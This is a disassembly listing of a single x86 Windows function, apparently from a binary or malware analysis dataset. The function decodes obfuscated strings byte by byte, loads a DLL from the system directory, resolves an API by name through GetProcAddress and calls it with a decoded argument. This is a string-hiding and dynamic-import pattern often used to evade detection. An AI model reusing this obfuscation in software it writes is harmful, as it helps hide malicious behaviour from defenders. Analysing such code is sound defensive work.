Function at 0x4117c4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x99
push 0
push 0
dec ecx
jne 0x4117cc
push ecx
push ebx
push esi
push edi
mov esi, 0x413b24
xor eax, eax
push ebp
push 0x4122a9
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x4117fc
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 4]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.00403688
push dword [ebp - 4]
lea eax, [ebp - 0x108]
mov bl, byte [esi]
mov edx, ebx
sub dl, 0x19
call fcn.0040363c
push dword [ebp - 0x108]
lea eax, [ebp - 0x10c]
mov edx, ebx
sub dl, 0x1b
call fcn.0040363c
push dword [ebp - 0x10c]
lea eax, [ebp - 0x110]
mov edx, ebx
sub dl, 0xc
call fcn.0040363c
push dword [ebp - 0x110]
lea eax, [ebp - 0x114]
mov edx, ebx
sub dl, 5
call fcn.0040363c
push dword [ebp - 0x114]
lea eax, [ebp - 0x118]
mov edx, ebx
sub dl, 0x31
call fcn.0040363c
push dword [ebp - 0x118]
lea eax, [ebp - 0x11c]
mov edx, ebx
sub dl, 9
call fcn.0040363c
push dword [ebp - 0x11c]
lea eax, [ebp - 0x120]
mov dl, byte [esi]
sub dl, 9
call fcn.0040363c
push dword [ebp - 0x120]
lea eax, [ebp - 0x124]
mov edx, ebx
sub dl, 0x47
call fcn.0040363c
push dword [ebp - 0x124]
lea eax, [ebp - 0x128]
mov dl, byte [esi]
sub dl, 0x11
call fcn.0040363c
push dword [ebp - 0x128]
lea eax, [ebp - 0x12c]
mov dl, byte [esi]
sub dl, 9
call fcn.0040363c
push dword [ebp - 0x12c]
lea eax, [ebp - 0x130]
mov dl, byte [esi]
sub dl, 9
call fcn.0040363c
push dword [ebp - 0x130]
lea eax, [ebp - 4]
mov edx, 0xc
call fcn.00403760
mov eax, dword [ebp - 4]
call fcn.004038a0
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [0x413b1c], eax
cmp dword [0x413b1c], 0
jne 0x411948
mov eax, dword [esi]
push eax
call sub.kernel32.dll_ExitProcess_1
lea eax, [ebp - 0x134]
mov bl, byte [esi]
mov edx, ebx
sub dl, 0xf
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x138]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov edx, ebx
sub dl, 0x3c
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x138]
mov cl, 2
call fcn.0040265c
lea edx, [ebp - 0x138]
lea eax, [ebp - 0x140]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov edx, ebx
sub dl, 0x44
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x140]
mov cl, 3
call fcn.0040265c
lea edx, [ebp - 0x140]
lea eax, [ebp - 0x148]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x44
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x148]
mov cl, 4
call fcn.0040265c
lea edx, [ebp - 0x148]
lea eax, [ebp - 4]
call fcn.0040367c
mov eax, dword [ebp - 4]
call fcn.004038a0
push eax
mov eax, dword [0x413b1c]
push eax
call sub.kernel32.dll_GetProcAddress
mov ebx, eax
mov edi, ebx
test ebx, ebx
jne 0x411a30
push 0
call sub.kernel32.dll_ExitProcess_1
lea eax, [ebp - 0x134]
mov bl, byte [esi]
mov edx, ebx
sub dl, 0x44
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x138]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov edx, ebx
sub dl, 0x4a
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x138]
mov cl, 2
call fcn.0040265c
lea edx, [ebp - 0x138]
lea eax, [ebp - 0x140]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov edx, ebx
sub dl, 0x29
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x140]
mov cl, 3
call fcn.0040265c
lea edx, [ebp - 0x140]
lea eax, [ebp - 0x148]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov edx, ebx
sub dl, 0x2a
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x148]
mov cl, 4
call fcn.0040265c
lea edx, [ebp - 0x148]
lea eax, [ebp - 0x150]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov edx, ebx
dec edx
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x150]
mov cl, 5
call fcn.0040265c
lea edx, [ebp - 0x150]
lea eax, [ebp - 0x158]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x24
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x158]
mov cl, 6
call fcn.0040265c
lea edx, [ebp - 0x158]
lea eax, [ebp - 0x160]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x34
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x160]
mov cl, 7
call fcn.0040265c
lea edx, [ebp - 0x160]
lea eax, [ebp - 0x16c]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x2c
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x16c]
mov cl, 8
call fcn.0040265c
lea edx, [ebp - 0x16c]
lea eax, [ebp - 0x178]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x30
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x178]
mov cl, 9
call fcn.0040265c
lea edx, [ebp - 0x178]
lea eax, [ebp - 0x184]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x34
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x184]
mov cl, 0xa
call fcn.0040265c
lea edx, [ebp - 0x184]
lea eax, [ebp - 0x190]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x32
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x190]
mov cl, 0xb
call fcn.0040265c
lea edx, [ebp - 0x190]
lea eax, [ebp - 0x1a0]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 7
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x1a0]
mov cl, 0xc
call fcn.0040265c
lea edx, [ebp - 0x1a0]
lea eax, [ebp - 0x1b0]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x33
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x1b0]
mov cl, 0xd
call fcn.0040265c
lea edx, [ebp - 0x1b0]
lea eax, [ebp - 0x1c0]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0xe
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x1c0]
mov cl, 0xe
call fcn.0040265c
lea edx, [ebp - 0x1c0]
lea eax, [ebp - 0x1d0]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x2c
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x1d0]
mov cl, 0xf
call fcn.0040265c
lea edx, [ebp - 0x1d0]
lea eax, [ebp - 0x1e4]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x34
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x1e4]
mov cl, 0x10
call fcn.0040265c
lea edx, [ebp - 0x1e4]
lea eax, [ebp - 0x1f8]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x21
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x1f8]
mov cl, 0x11
call fcn.0040265c
lea edx, [ebp - 0x1f8]
lea eax, [ebp - 0x20c]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x2c
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x20c]
mov cl, 0x12
call fcn.0040265c
lea edx, [ebp - 0x20c]
lea eax, [ebp - 0x220]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x2e
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x220]
mov cl, 0x13
call fcn.0040265c
lea edx, [ebp - 0x220]
lea eax, [ebp - 0x238]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x1f
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x238]
mov cl, 0x14
call fcn.0040265c
lea edx, [ebp - 0x238]
lea eax, [ebp - 0x250]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 4
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x250]
mov cl, 0x15
call fcn.0040265c
lea edx, [ebp - 0x250]
lea eax, [ebp - 0x268]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x11
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x268]
mov cl, 0x16
call fcn.0040265c
lea edx, [ebp - 0x268]
lea eax, [ebp - 0x280]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x25
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x280]
mov cl, 0x17
call fcn.0040265c
lea edx, [ebp - 0x280]
lea eax, [ebp - 0x29c]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov edx, ebx
sub dl, 0x1b
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x29c]
mov cl, 0x18
call fcn.0040265c
lea edx, [ebp - 0x29c]
lea eax, [ebp - 0x2b8]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x33
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x2b8]
mov cl, 0x19
call fcn.0040265c
lea edx, [ebp - 0x2b8]
lea eax, [ebp - 0x2d4]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0xe
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x2d4]
mov cl, 0x1a
call fcn.0040265c
lea edx, [ebp - 0x2d4]
lea eax, [ebp - 0x2f0]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x12
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x2f0]
mov cl, 0x1b
call fcn.0040265c
lea edx, [ebp - 0x2f0]
lea eax, [ebp - 0x310]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x41
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x310]
mov cl, 0x1c
call fcn.0040265c
lea edx, [ebp - 0x310]
lea eax, [ebp - 0x330]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 8
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x330]
mov cl, 0x1d
call fcn.0040265c
lea edx, [ebp - 0x330]
lea eax, [ebp - 0x350]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x2c
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x350]
mov cl, 0x1e
call fcn.0040265c
lea edx, [ebp - 0x350]
lea eax, [ebp - 0x370]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 3
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x370]
mov cl, 0x1f
call fcn.0040265c
lea edx, [ebp - 0x370]
lea eax, [ebp - 0x394]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x45
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x394]
mov cl, 0x20
call fcn.0040265c
lea edx, [ebp - 0x394]
lea eax, [ebp - 0x3b8]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x24
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x3b8]
mov cl, 0x21
call fcn.0040265c
lea edx, [ebp - 0x3b8]
lea eax, [ebp - 0x3dc]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x26
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x3dc]
mov cl, 0x22
call fcn.0040265c
lea edx, [ebp - 0x3dc]
lea eax, [ebp - 0x400]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x24
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x400]
mov cl, 0x23
call fcn.0040265c
lea edx, [ebp - 0x400]
lea eax, [ebp - 0x428]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x46
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x428]
mov cl, 0x24
call fcn.0040265c
lea edx, [ebp - 0x428]
lea eax, [ebp - 0x450]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 2
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x450]
mov cl, 0x25
call fcn.0040265c
lea edx, [ebp - 0x450]
lea eax, [ebp - 0x478]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x34
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x478]
mov cl, 0x26
call fcn.0040265c
lea edx, [ebp - 0x478]
lea eax, [ebp - 0x4a0]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x38
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x4a0]
mov cl, 0x27
call fcn.0040265c
lea edx, [ebp - 0x4a0]
lea eax, [ebp - 0x4cc]
call fcn.0040268c
lea eax, [ebp - 0x13c]
mov dl, byte [esi]
sub dl, 0x38
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x4cc]
mov cl, 0x28
call fcn.0040265c
lea edx, [ebp - 0x4cc]
lea eax, [ebp - 4]
call fcn.0040367c
mov eax, dword [ebp - 4]
push eax
call edi
mov eax, dword [0x413b1c]
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x412283
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4122b0
lea eax, [ebp - 0x130]
mov edx, 0xb
call fcn.00403540
lea eax, [ebp - 4]
call fcn.0040351c
ret